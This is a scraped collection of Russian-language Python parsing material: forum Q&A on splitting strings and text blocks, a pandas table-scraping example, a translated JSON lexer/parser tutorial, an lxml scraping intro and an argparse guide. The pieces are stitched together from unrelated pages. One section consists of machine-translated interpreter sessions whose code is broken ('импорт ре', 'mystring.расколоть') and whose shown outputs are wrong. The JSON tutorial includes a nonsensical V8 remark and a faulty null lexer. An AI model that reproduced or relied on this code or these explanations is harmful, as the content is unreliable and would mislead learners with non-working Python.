Парсер строки python: python - Разбор строки на части

Содержание

python — Парсинг строки и сравнение значений её элементов

Строка, содержащаяся в файле, выглядит примерно следующим образом:

[16, 87, 97, 88, 73, 17, 46, 88, 30, 74, 5, 33, 36, 89, 36, 46, 39, 8, 14, 77, 25, 87, 18, 98, 38, 24, 37, 70, 13, 83, 76, 2, 20, 25, 31, 72, 36, 67, 50, 83, 37, 49, 87, 66, 40, 83, 34, 93, 14, 24, 43, 96, 36, 98, 9, 51, 48, 87, 4, 28, 95, 82, 94, 22, 25, 66, 35, 76, 55, 23, 3, 6, 15, 56, 6, 26, 87, 10, 4, 64, 14, 43, 25, 77, 21, 7, 66, 24, 36, 57, 74, 11, 93, 66, 7, 23, 54, 27, 12, 42, 79, 70, 25, 11, 2, 27, 26, 50, 20, 48, 63, 83, 58, 86, 71, 3, 85, 13, 54, 99, 66, 83, 33, 35, 91, 7, 72, 74, 17, 89, 47, 78, 79, 10, 56, 22, 62, 75, 46, 37, 79, 75, 1, 93, 97, 25, 33, 23, 88, 32, 45, 53, 8, 26, 89, 67, 97, 96, 48, 52, 74, 90, 37, 37, 41, 23, 93, 34, 59, 54, 54, 7, 25, 37, 18, 35, 70, 84, 44,  63, 93, 78, 13, 37, 47, 98, 3, 3, 39, 67, 70, 65, 57, 51, 39, 33, 71, 89, 48, 10, 26, 14, 46, 16, 66, 32, 60, 12, 54, 24, 67, 54, 9, 55, 10, 28, 36, 28, 36, 75, 65, 90, 7, 4, 56, 72, 75, 48]

Строку в Python (каждое находящееся в ней число — элементы списка) парсить получается, а вот проводить сравнение каждого из элементов списка почему-то не работает, т.к. числовые данные представлены строками, а не int-ами… Фрагмент кода дан ниже:

import numpy as np
import matplotlib.pyplot  as plt
from numpy import loadtxt
import pandas as pd

peaks=0
list_of_peaks = []
text_file = open('D:\\MeaningsData.txt', 'r')
list_of_peaks = text_file.read().split(', ')
**int (list_of_peaks)
for i in list_of_peaks:
    if ((list_of_peaks[i]<= list_of_peaks[i-1])):
        peaks=peaks+1**
print(peaks)

Компилятор выдает следующую ошибку:

TypeError: int() argument must be a string, a bytes-like object or a number, not ‘list’

Можете, пожалуйста, предложить лучший способ парсинга строк с числами для того, чтобы значения самих чисел (находящихся в списке или массиве) можно сравнивать?

парсер — Парсинг сложной строки на python

Это далеко не сложная строка. Поможет вам метод split:

a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
vars = a.split(";")
print(vars)

[‘t=xx.x’, ‘h=xx.x’, ‘b=xxx’, ‘s=xx’, ‘sn=xxx’, »]

Можно сделать вывод еще нагляднее:

for _ in vars:
    if len(_):
        print(_)

Получим:

t=xx.x
h=xx.x
b=xxx
s=xx
sn=xxx

UPDATE:

Если нужно получить пары «переменная — значение», то воспользуйтесь словарем:

a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if len(y)]}
print(res)

{‘t’: ‘xx.x’, ‘h’: ‘xx.x’, ‘b’: ‘xxx’, ‘s’: ‘xx’, ‘sn’: ‘xxx’}

В таком случае переменную можно будет вызвать так:

print(res["sn"])

xxx

Можно передать полученные пары в функцию locals(), но желательно, чтобы вы точно понимали, что делаете.

UPDATE #2

По уточнению автора вопроса могу предложить следующее решение:

message=b't=24.00;h=24.00;b=80;\x00?\xd6{"\xcc\xbe'
#вы получаете не строковую переменную, а байты. поэтому сначала декодируйте данные:
a = message.decode('ascii', errors='surrogateescape')
# либо
# a = message.decode('utf-8', errors='surrogateescape')
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if "=" in y]}
#обратите внимание на условие проверки для y (if "=" in y)
print(res)

{‘t’: ‘24.00’, ‘h’: ‘24.00’, ‘b’: ’80’}

И еще, обратите внимание, что когда вы делаете:

t = res["t"]

вы получаете строковую переменную. Если вам в дальнейшем придётся проводить с ней какие-то арифметические операции, сразу приводите ее к числовому типу:

t = float(res["t"])

python — Парсинг таблицы в список списков

Вот вариант использующий Pandas модуль:

In [37]: import pandas as pd

In [38]: url = 'http://kinozal.tv/browse.php?s=%F7%E5%EB%EE%E2%E5%EA&g=0&c=0&v=0&d=0&w=0&t=0&f=0'

в следующей строке мы:

читаем (парсим) третью таблицу (по умолчанию read_html() парсит все таблицы и возвращает список DataFrames, нас интересует третья таблица [с индексом 2]) по данному URL
пропускаем первую колонку (Unnamed: 0)
переименовываем колонку Unnamed: 1 —> Name
сохраняем результирующий DataFrame как df

Code:

In [39]: df = pd.read_html(url, header=0)[2].iloc[:, 1:].rename(columns={'Unnamed: 1':'Name'})

Показать первые 10 строк нашего «фрейма»:

In [40]: df.head(10)
Out[40]:
                            Name  Комм.   Размер  Сидов  Пиров               Залит     Раздает
0  Джордж С. Клейсон - Самый ...      2   342 МБ      2      3     сегодня в 19:17       fx365
1  Последний человек на Земле...      1   1.9 ГБ     15     61     сегодня в 18:19    BLACKTIR
2  Последний человек на Земле...      2   707 МБ      8     35     сегодня в 18:18    BLACKTIR
3  Земфира - Маленький челове...      2  3.25 ГБ     25      8     сегодня в 17:15   Olyanchik
4  Фрунзик Мкртчян. Человек с...      2   500 МБ     23      0       вчера в 22:33   Человек91
5  Человек-невидимка (9 сезон...      4  4.85 ГБ      6     14       вчера в 22:29  Gorgona007
6  Борис Литвак - Тренинг лич...      3   142 МБ      7      1       вчера в 16:57       sekes
7  Человек из Ларами / The Ma...      1   744 МБ     20      0       вчера в 14:39  dushevnaya
8  Человек - швейцарский нож ...      0  1.46 ГБ     19      1  15.10.2016 в 21:34     Amancio
9  Земфира - Маленький челове...      1   243 МБ     53      1  15.10.2016 в 21:15     Amancio

вывести все строки в наименовании (столбец: Name) которых присутствует подстрока 'емфира':

In [41]: df.ix[df.Name.str.contains('емфира')]
Out[41]:
                             Name  Комм.   Размер  Сидов  Пиров               Залит      Раздает
3   Земфира - Маленький челове...      2  3.25 ГБ     25      8     сегодня в 17:15    Olyanchik
9   Земфира - Маленький челове...      1   243 МБ     53      1  15.10.2016 в 21:15      Amancio
14  Земфира - Маленький челове...     11  7.25 ГБ    228     13  15.10.2016 в 02:28       daboen
15  Земфира - Маленький челове...      4  2.38 ГБ     53      2  14.10.2016 в 20:29     DaDalida
16  Земфира - Маленький челове...      7  1.58 ГБ    172      4  14.10.2016 в 19:50  jaaadina123

список наименований, удовлетворяющих условию, в виде обычного списка:

In [43]: df.ix[df.Name.str.contains('емфира'), 'Name'].tolist()
Out[43]:
['Земфира - Маленький человек / 2016 / РУ / HDTVRip (720p)',
 'Земфира - Маленький человек. Концерт в Олимпийском / Рок / 2016 / MP3',
 'Земфира - Маленький человек / 2016 / РУ / HDTV (1080i)',
 'Земфира - Маленький человек / 2016 / РУ / DVB',
 'Земфира - Маленький человек / 2016 / РУ / SATRip']

PS вообще при помощи Pandas можно делать много интересных вещей (особенно это касается обработки данных) с минимальными затратами (минимум кода) с практически максимальной (для Python) производительностью.

Пишем простой парсер JSON на Python

Перевод статьи Phil Eaton

Написание парсера JSON — один из простейших способов ознакомления с техниками парсинга. Форматирование предельно просто, оно построено на рекурсии. Поэтому оно немного сложнее чем, скажем, Braifuck. Также, вероятно, вы уже сталкивались с JSON.

Если вы просто хотите увидеть код — его можно найти на Github.

Что такое парсинг, и чем он не является

Обычно парсинг разбивается на два этапа: лексический анализ и синтаксический анализ. Лексический анализ разбивает исходные данные на простейшие элементы языка — токены (или лексемы). Синтаксический анализ собирает из лексем осмысленные (для этого языка) выражения.

Парсинг не проверяет семантическую правильность исходных данных. То есть мы не смотрим, объявлена ли переменная перед использованием, вызвана ли функция с правильными аргументами или объявлена ли переменная второй раз.

Интерфейс библиотеки

В данном случае мы реализуем лишь один метод from_string, который из строки вернёт словарь (dictionary). Пример теста:

assert_equal(from_string('{"foo": 1}'), {"foo": 1})

Лексический анализ

На этапе лексического анализа мы разобьём исходную строку на лексемы. Во время анализа мы можем опустить комментарии, пробелы и отступы, чтобы упростить последующую работу синтаксического анализатора.

Для простейшего синтаксического анализа нам потребуется пройтись по всем символам в входных данных и разбить их на фундаментальные (не рекурсивные!) языковые конструкции, такие как: числа, строки и булевы значения. Строки должны быть частью процесса, так как мы не можем отбросить все пробелы, не убедившись, что это не часть строки.

В полноценном лексере мы бы следили за отступами и комментариями, которые были пропущены, номером строки и файлом, в котором мы находимся. Все эти данные будут полезны в процессе дебаггинга.

Последняя версия движка V8 JavaScript теперь может воспроизводить точный код вызванной функции. Это огромный прорыв для лексера языка с анонимными функциями и классами.

Реализация лексера JSON

Набросок лексера будет проходить циклом по входящей строке и выискивать паттерны строк, чисел, булевых выражений, null и синтаксиса JSON, такого как левые и правые скобки. Возвращать он будет каждый из элементов как список.

Пример вывода:

assert_equal(lex('{"foo": [1, 2, {"bar": 2}]}'),
             ['{', 'foo', ':', '[', 1, ',', 2, ',', '{', 'bar', ':', 2, '}', ']', '}'])

Заготовка кода:

def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

Задача здесь — выделить из ввода числа, строки, булевы значения и null. Если ни один из них не подходит, то проверяем символ на пробел (отступ) и синтаксическую часть JSON. Всё, кроме whitespaces, добавляется в список токенов, который возвращается функцией.

Теперь расширим логику, чтобы поддерживать все типы данных и добавим заготовки функций:

def lex_string(string):
    return None, string


def lex_number(string):
    return None, string


def lex_bool(string):
    return None, string


def lex_null(string):
    return None, string


def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        json_number, string = lex_number(string)
        if json_number is not None:
            tokens.append(json_number)
            continue

        json_bool, string = lex_bool(string)
        if json_bool is not None:
            tokens.append(json_bool)
            continue

        json_null, string = lex_null(string)
        if json_null is not None:
            tokens.append(None)
            continue

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

Определение строк

Давайте напишем функцию lex_string. В ней мы будем проверять, если дальше после указателя (нулевой символ строки и далее) идёт строка. Для этого мы в цикле будем искать открывающие и закрывающие кавычки:

def lex_string(string):
    json_string = ''

    if string[0] == JSON_QUOTE:
        string = string[1:]
    else:
        return None, string

    for c in string:
        if c == JSON_QUOTE:
            return json_string, string[len(json_string)+1:]
        else:
            json_string += c

    raise Exception('Expected end-of-string quote')

Определение чисел

В процессе поиска чисел в функции lex_number мы будем итерировать по входящей строке до тех пор, пока не найдём знак, который не может являться частью числа. После обнаружения такого знака мы вернём float или int. В случае, если это не число, вернём None и исходную строку без изменений.

def lex_number(string):
    json_number = ''

    number_characters = [str(d) for d in range(0, 10)] + ['-', 'e', '.']

    for c in string:
        if c in number_characters:
            json_number += c
        else:
            break

    rest = string[len(json_number):]

    if not len(json_number):
        return None, string

    if '.' in json_number:
        return float(json_number), rest

    return int(json_number), rest

Определение булевых значений и null

Это самые простые типы данных для обнаружения:

def lex_bool(string):
    string_len = len(string)

    if string_len >= TRUE_LEN and \
       string[:TRUE_LEN] == 'true':
        return True, string[TRUE_LEN:]
    elif string_len >= FALSE_LEN and \
         string[:FALSE_LEN] == 'false':
        return False, string[FALSE_LEN:]

    return None, string


def lex_null(string):
    string_len = len(string)

    if string_len >= NULL_LEN and \
       string[:NULL_LEN] == 'null':
        return True, string[NULL_LEN]

    return None, string

Теперь лексер закончен. Полный исходный код можно найти в файле pj/lexer.py.

Синтаксический анализ

Задача синтаксического анализатора состоит в итерации по одномерному списку лексем и отыскивать в нём простейшие синтаксические конструкции языка Если в какой-то момент анализа, парсеру не удастся соотнести текущий набор токенов с синтаксическими конструкциями, парсер закончит свою работу и вернёт информацию об ошибке.

Реализация парсера JSON

Заготовка JSON парсера будет итерировать по токенам, которые вернул лексический анализатор, и соотносить их с объектами, списками или парами ключ-значение:

tokens = lex('{"foo": [1, 2, {"bar": 2}]}')
assert_equal(tokens,
             ['{', 'foo', ':', '[', 1, ',', 2, '{', 'bar', ':', 2, '}', ']', '}'])
assert_equal(parse(tokens),
             {'foo': [1, 2, {'bar': 2}]})

Логика будет выглядеть следующим образом:

def parse_array(tokens):
    return [], tokens

def parse_object(tokens):
    return {}, tokens

def parse(tokens):
    t = tokens[0]

    if t == JSON_LEFTBRACKET:
        return parse_array(tokens[1:])
    elif t == JSON_LEFTBRACE:
        return parse_object(tokens[1:])
    else:
        return t, tokens[1:]

Ключевым структурным отличием между лексером и парсером будет то, что лексер всегда возвращает одномерный список токенов, а парсер будет обрабатывать рекурсивные структуры (например, деревья).

Так как JSON — формат сериализации данных, а не язык, то парсер должен возвращать объекты языка Python, а не синтаксическое дерево, с которым можно было бы работать далее (или сгенерировать код в случае компилятора).

Главным преимуществом разделения лексического анализа от парсера является то, что оба фрагмента программы проще в реализации и выполняют только одну функцию.

Парсинг массивов

Массив всегда начинается с левой квадратной скобки. Поэтому парсинг массивов сводится к поиску элементов массива, запятых между ними или же закрывающих скобок:

def parse_array(tokens):
    json_array = []

    t = tokens[0]
    if t == JSON_RIGHTBRACKET:
        return json_array, tokens[1:]

    while True:
        json, tokens = parse(tokens)
        json_array.append(json)

        t = tokens[0]
        if t == JSON_RIGHTBRACKET:
            return json_array, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after object in array')
        else:
            tokens = tokens[1:]

    raise Exception('Expected end-of-array bracket')

Парсинг объектов

Парсинг объектов заключается в поиске пар ключ-значение, где ключ от значения отдёлен двоеточием, а пары разделены запятыми. Поиск продолжается до окончания объекта:

def parse_object(tokens):
    json_object = {}

    t = tokens[0]
    if t == JSON_RIGHTBRACE:
        return json_object, tokens[1:]

    while True:
        json_key = tokens[0]
        if type(json_key) is str:
            tokens = tokens[1:]
        else:
            raise Exception('Expected string key, got: {}'.format(json_key))

        if tokens[0] != JSON_COLON:
            raise Exception('Expected colon after key in object, got: {}'.format(t))

        json_value, tokens = parse(tokens[1:])

        json_object[json_key] = json_value

        t = tokens[0]
        if t == JSON_RIGHTBRACE:
            return json_object, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after pair in object, got: {}'.format(t))

        tokens = tokens[1:]

    raise Exception('Expected end-of-object brace')

Парсер готов. Полный код можно увидеть в pj/parser.py.

Собираем библиотеку

Осталось объединить лексический и синтаксический анализаторы в общую библиотеку, удовлетворяющую интерфейсу, описанному в начале статьи:

def from_string(string):
    tokens = lex(string)
    return parse(tokens)[0]

Библиотека готова. Дополнительные вещи, вроде тестов, можно найти в репозитории Github.

Дополнение: парсинг в один этап

Некоторые парсеры не разбивают процесс на лексический и синтаксический анализ. Для определенных языков это может упростить парсинг. Для других, таких как Common Lisp, это позволяет динамически расширять лексер и парсер через макросы.

Данная библиотека написана для того, чтобы дать общее понимание процесса парсинга языков для широких масс. Многие из описанных в статье принципов используются для более сложных вещей, например, написания программируемых калькуляторов или работы с визуальными языками.

Простой парсер на Python | progtask.ru

В этой статье я покажу вам как создать простой парсер страницы в интернете на Python 3.

Для этого понадобится 2 библиотеки — urllib и lxml. Первая является встроенной, а вторую вам нужно будет подгрузить.

Для начала необходимо получить код самой страницы. Это можно сделать следующим образом:

import urllib.request # подключение библиотеки
response = urllib.request.urlopen(‘http://progtask.ru’).read()
# получаем страницу в строковом представлении

import urllib.request # подключение библиотеки

response = urllib.request.urlopen(‘http://progtask.ru’).read()

# получаем страницу в строковом представлении

После этого шага нам необходимо воспользоваться библиотекой lxml и получить доступ к какому-нибудь элементу на странице. Давайте возьмём к примеру название моего блога.
Для меня самым удобным способом получения информации из страницы, является xpath. Его очень просто получить. Покажу вам на примере Google Chrome.

Получение xpath:

Выберите необходимый элемент и откройте для него пункт меню «Просмотреть код».

Затем для выделенной строки перейдите в меню правой кнопкой мыши и выполните Copy -> Xpath.

Всё, готово. Требуемый Xpath у нас есть. Осталось только при помощи него получить заголовок блога.

Для этого к уже имеющемуся коду добавим следующее:

import urllib.request
from lxml.html import fromstring # подключаем библиотеку lxml

response = urllib.request.urlopen(‘http://progtask.ru’).read()
page = fromstring(response) # делаем из нашей строки объект для манипулирования страницей
nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # получаем все элементы с переданным xpath
print(nameSite[0].text) # выводим результат

import urllib.request

from lxml.html import fromstring # подключаем библиотеку lxml

response = urllib.request.urlopen(‘http://progtask.ru’).read()

page = fromstring(response) # делаем из нашей строки объект для манипулирования страницей

nameSite = page.xpath(‘//*[@id=»masthead»]/div/h2/a’) # получаем все элементы с переданным xpath

print(nameSite[0].text) # выводим результат

Как видите, ничего сложного в этом нет.
Надеюсь статья вам помогла.

Простое руководство по аргументам командной строки Python | by Артур Хайбуллин | NOP::Nuances of Programming

Одна из сильнейших сторон Python — способность выполнять любые задачи. Его стандартная библиотека предоставляет достаточно функций для написания множества полезных сценариев и инструментов. А для получения больших возможностей можно просто воспользоваться pip install.

Почти каждый современный ЯП способен принимать аргументы из командной строки. Это очень важная функция, поскольку она допускает динамический ввод данных от пользователей, независимо от того, написали они программу или нет.

Python содержит несколько библиотек, благодаря которым код может принимать введенные пользователем данные из команды, таких как sys.argv, getopt и argparse. На данный момент argparse — наилучший и наиболее распространенный вариант.

Библиотека Python argparse была выпущена как часть стандартной библиотеки вместе с Python 3.2. После этого релиза в силу своей популярности она была интегрирована в Python 2.7 и во все будущие версии Python, быстро став золотым стандартом для работы с аргументами командной строки. Она предоставляет следующие функции:

Возможность настройки справочных сообщений и документации для аргументов командной строки.
Установка значений по умолчанию для аргументов в чистом и читабельном виде.
Наличие заданного количества опций для определенного аргумента командной строки.
Поддержка переменного количества параметров для одного аргумента.
Возможность автоматически применять действие или функцию к вводу по определенным указаниям.

Проведем небольшую экскурсию по библиотеке argparse Python.

Откройте пустой сценарий Python. Библиотека argparse встроена в Python, соответственно процедура установки не потребуется. На фрагменте кода ниже показано, как создать начальную установку для argparse:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')args = parser.parse_args()

В этом коде есть 3 важных компонента:

Импорт argparse.
Создание парсера аргументов (с описанием).
Парсинг аргументов командной строки.

На втором этапе мы создаем объект parser, с помощью которого можно добавлять аргументы командной строки вместе с опциями для каждого из них. На третьем этапе запускается функция, которая извлекает введенные пользователем аргументы из командной строки.

Прелесть argparse заключается в том, что она автоматически работает с командной строкой с помощью этой простой настройки. Запустите программу с --help в конце и argparse выведет описание руководства по argparse!

Теперь добавим аргумент командной строки с именем “a”, как показано во фрагменте кода ниже. Чтобы передать аргумент командной строки в сценарий Python, запустите его с помощью python3 argparse_2.py --a=5:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a")args = parser.parse_args()
a = args.a
print(a)

Обратите внимание на использование функции .add_argument() для передачи «a» в качестве аргумента командной строки. Чтобы получить доступ к переменной, полученной из a, используем args.a.

Следует отметить, что без указания значения для a в командной строке args.a будет None. Чтобы обойти это, указываем значение по умолчанию для a в парсере аргумента, как показано ниже. Обратите внимание, что на этот раз также добавлено описание.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, help="This is the 'a' variable")args = parser.parse_args()
a = args.a
print(a)

В данном случае, если мы не передадим значение для a через командную строку, то a приобретет значение по умолчанию, равное 1. Добавив строку для переменной help, мы также сможем напечатать более эффективное описание для каждой переменной, используя --help:

usage: run.py [-h] [--a A]A tutorial of argparse!optional arguments:
-h, --help  show this help message and exit
--a A       This is the 'a' variable

Рассмотрим еще несколько интересных опций с argparse. Во-первых, мы можем указать информацию о типе каждой переменной так, чтобы преобразование типов выполнялось прямо на входе:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", default=None, type=str, help="Your name")args = parser.parse_args()

Чтобы убедиться, что пользователь всегда передает значение для определенного аргумента можно использовать ключевое слово required. Установленное значение True вынуждает пользователя вводить данные только для этого значения, иначе программа выдаст ошибку и остановится.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", required=True, type=str, help="Your name")args = parser.parse_args()

Если мы установим значение для аргумента --name, то программа будет работать отлично! Однако при его отсутствии мы получим подобное сообщение об ошибке:

usage: run.py [-h] [--a A] --name NAME
run.py: error: the following arguments are required: --name

Мы также можем ввести возможные значения для определенного аргумента командной строки с помощью аргумента choices. Полезная функция, особенно при наличии в коде набора операторов if-else, которые выполняют определенные операции на основе одной строки. Пример:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--education", 
choices=["highschool", "college", "university", "other"],
required=True, type=str, help="Your name")args = parser.parse_args()ed = args.educationif ed == "college" or ed == "university":
print("Has degree")
elif ed == "highschool":
print("Finished Highschool")
else:
print("Does not have degree")

Теперь при вводе любого значения, находящегося в списке choices, код будет работать и примет аргумент education. Однако при вводе того, что отсутствует в списке, например, числа 5, вы получите следующее сообщение, в котором предлагается выбрать варианты из списка:

usage: run.py [-h] [--a A] --education {highschool,college,university,other}
run.py: error: argument --education: invalid choice: '5' (choose from 'highschool', 'college', 'university', 'other')

Настало время двигаться дальше и перейти к продвинутому argparse!

В аргументе action можно указать действие, которое должен принимать парсер аргументов. Например, аргумент, который автоматически устанавливается равным булевому значению True, если оно присутствует или является константой. В примере ниже показаны оба случая.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", action="store_true", help="This is the 'a' variable")
parser.add_argument("--b", action="store_const", const=10,
help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)

В приведенном выше коде говорится, что если в командной строке присутствует аргумент a, то он будет иметь значение True, а в противном случае False. Аналогичным образом, при наличии аргумента командной строки b он должен иметь значение 10, а в противном случае None из-за отсутствия значения по умолчанию!

Мы также можем установить так называемые взаимоисключающие группы, определяющие набор аргументов командной строки парсера, которые не могут быть переданы одновременно.

Пример:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
group = parser.add_mutually_exclusive_group(required=True)group.add_argument('--a', action='store_true', help="This is the 'a' variable")
group.add_argument('--b', action='store_true', help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)

Аргументы argparse — a и b — добавлены в одну взаимоисключающую группу. Таким образом, Python не позволит отправлять a и b одновременно, подобно python3 argparse_8.py --a --b. Эта функция гарантирует, что пользователь не передаст противоречащие друг другу переменные одновременно, что позволяет избежать путаницы или ошибок.

Вот и все! Вы прошли простое руководство по аргументам командной строки Python.

python — парсинг блоков текста в текстовом файле (блоки разделяются пустой строкой)

Я новый пользователь Python, который хочет разобрать текстовый файл, который выглядит следующим образом:

$ begin
$ vertex -1285.6 -226.2 -538.7 0
$ track 11 1000 0.7277 0.6765 0.1133 0
$ end

$ begin
$ vertex -1265.3 573.1 1547.7 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end

Для каждого блока ($ begin … $ end) я хочу получить координаты вершины x y z:

$ begin
$ vertex x y z 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end

Может кто-нибудь предложить способ сделать это? Я очень благодарен за любую помощь или совет!

user638699

15 Апр 2017 в 00:04

4 ответа

Лучший ответ

Предположим, у вас есть текстовый файл my file.txt с вашими данными в нем. И давайте дадим метки каждому из элементов в строке:

marker = $
label = vertex OR track OR begin, etc
x = your x value
y = your y value
z = your z value
eol = the last value on the vertex line

Читая каждую строку, мы можем проверить, содержит ли строка термин «вершина».

Если это произойдет, мы затем разделим эту строку, используя функцию split (по умолчанию, split будет разбивать пробел, но давайте явно вызовем то, на что мы хотим разбить (т. Е. »). Split создает список элементов.

Мы можем использовать распаковку кортежей, чтобы вычеркнуть каждый элемент из списка и назначить им отдельные метки, чтобы наш код был более читабельным. Затем мы можем напечатать значения. В вашем случае вы, вероятно, захотите сохранить или обработать эти значения … просто замените оператор печати на ваш код обработки.

file = open('myfile.txt')
for line in file:
    if 'vertex' in line:
        fields = line.split(' ')
        marker, tag, x, y, z, eol = fields
        print(x, y, z)

E. Ducateme
14 Апр 2017 в 21:18

Вы можете использовать регулярные выражения здесь.

patern = re.compile("\n\n")
print patern.split(content)

Объяснение: Это будет искать шаблон двух последовательных символов новой строки в вашей строке и разделить на массив с этим шаблоном

Например:

   with open('data.txt', 'r') as myfile:
       str=myfile.read()
       #str="hello world \n line 1 \n line 2 \n\n line 3 line 4 \n line 5"
       print str
       patern = re.compile("\n\n")
       print patern.split(str)

Результат: [‘привет мир \ n строка 1 \ n строка 2’, ‘строка 3 строка 4 \ n строка 5’]

alpeshpandya
14 Апр 2017 в 21:15

Короткий и сладкий с прикосновением или re

import re
verticies = re.findall('\$ vertex (\S+) (\S+) (\S+) 0', open('t.data').read())
print verticies

Дает:

[('-1285.6', '-226.2', '-538.7'), ('-1265.3', '573.1', '1547.7')]

sotapme
14 Апр 2017 в 21:46

import csv

with open('data.txt','r') as f:
     text = f.readlines()
for line in text:
    if 'vertex' in line:
        fields = line.split(' ')
        print(fields[2],fields[3],fields[4])

Teja
14 Апр 2017 в 21:22

43419255

Как я могу разбить и проанализировать строку в Python?

Пошаговое руководство по синтаксическому анализу строки Python

Разделить строку на пробел, получить список, показать его тип, распечатать:

  el @ apollo: ~ / foo $ python
>>> mystring = "Что говорит лиса?"

>>> mylist = mystring.split ("")

>>> тип печати (мой список)
<тип 'список'>

>>> распечатать мой список
['Что говорит лиса?']

Если у вас есть два разделителя рядом друг с другом, предполагается пустая строка:

  el @ apollo: ~ / foo $ python
>>> mystring = "это так пушисто, я УМЕРУ !!!"

>>> напечатайте mystring.расколоть(" ")
['так пушисто что можно умереть!!! ']

Разделить строку по подчеркиванию и взять 5-й элемент в списке:

  el @ apollo: ~ / foo $ python
>>> mystring = "Time_to_fire_up_Kowalski's_Nuclear_reactor."

>>> mystring.split ("_") [4]
"Ковальского"

Свернуть несколько пробелов в одно

  el @ apollo: ~ / foo $ python
>>> mystring = 'свернуть эти пробелы'

>>> mycollapsedstring = ''.присоединиться (mystring.split ())

>>> напечатать mycollapsedstring.split ('')
['свернуть', 'эти', 'пробелы']

Если вы не передаете никаких параметров методу разделения Python, в документации говорится: «последовательные пробелы рассматриваются как один разделитель, и результат не будет содержать пустых строк в начале или в конце, если строка имеет начальные или конечные пробелы».

Держитесь за шляпы, парни, проанализируйте регулярное выражение:

  el @ apollo: ~ / foo $ python
>>> mystring = 'zzzzzzabczzzzzzdefzzzzzzzzzghizzzzzzzzzzzz'
>>> импорт ре
>>> mylist = re.split ("[a-m] +", mystring)
>>> распечатать мой список
['zzzzzz', 'zzzzzz', 'zzzzzzzzz', 'zzzzzzzzzzzz']

Регулярное выражение «[a-m] +» означает, что строчные буквы от a до m , встречающиеся один или несколько раз, совпадают в качестве разделителя. re — это библиотека для импорта.

Или, если вы хотите пережевывать предметы по одному:

  el @ apollo: ~ / foo $ python
>>> mystring = "В этой туманности есть кофе"

>>> mytuple = mystring.раздел ("")

>>> тип печати (mytuple)
<введите "кортеж">

>>> напечатать mytuple
('theres', '', 'кофе в этой туманности')

>>> вывести mytuple [0]
есть

>>> вывести mytuple [2]
кофе в этой туманности

Анализ текста с помощью Python · vipinajayakumar

Я ненавижу парсить файлы, но это то, что мне приходилось делать в начале почти каждого проекта. Разбор — дело непростое, и он может стать камнем преткновения для новичков. Однако, как только вы освоитесь с синтаксическим анализом файлов, вам больше не придется беспокоиться об этой части проблемы.Вот почему я рекомендую новичкам освоиться с анализом файлов на ранних этапах обучения программированию. Эта статья предназначена для начинающих Python, которым интересно научиться анализировать текстовые файлы.

В этой статье я познакомлю вас со своей системой парсинга файлов. Я кратко коснусь синтаксического анализа файлов в стандартных форматах, но я хочу сосредоточиться на синтаксическом анализе сложных текстовых файлов. Что я имею в виду под сложным? Что ж, мы до этого доберемся, молодой падаван.

Для справки, здесь можно найти набор слайдов, которые я использую для презентации по этой теме.Весь код и образец текста, которые я использую, доступны в моем репозитории Github здесь.

Во-первых, давайте разберемся, в чем проблема. Зачем вообще нужно разбирать файлы? В воображаемом мире, где все данные существовали в одном формате, можно было ожидать, что все программы будут вводить и выводить эти данные. Не было бы необходимости разбирать файлы. Однако мы живем в мире, где существует большое разнообразие форматов данных. Некоторые форматы данных лучше подходят для разных приложений. Можно ожидать, что отдельная программа будет обслуживать только некоторые из этих форматов данных.Таким образом, неизбежно возникает необходимость конвертировать данные из одного формата в другой для использования различными программами. Иногда данные даже не в стандартном формате, что немного усложняет задачу.

Итак, что такое парсинг?

Разобрать: Анализировать (строку или текст) на логические синтаксические компоненты.

Мне не нравится приведенное выше определение из Оксфордского словаря. Итак, вот мое альтернативное определение.

Разобрать: Преобразование данных определенного формата в более удобный формат.

Имея в виду это определение, мы можем представить, что наш ввод может быть в любом формате. Итак, первый шаг, когда вы сталкиваетесь с любой проблемой синтаксического анализа, — это понять формат входных данных. Если повезет, будет документация, описывающая формат данных. Если нет, возможно, вам придется расшифровать формат данных самостоятельно. Это всегда весело.

После того, как вы разберетесь с входными данными, следующим шагом будет определение более удобного формата. Что ж, это полностью зависит от того, как вы планируете использовать данные.Если программа, в которую вы хотите ввести данные, ожидает формат CSV, то это ваш конечный продукт. Для дальнейшего анализа данных я настоятельно рекомендую прочитать данные в pandas DataFrame .

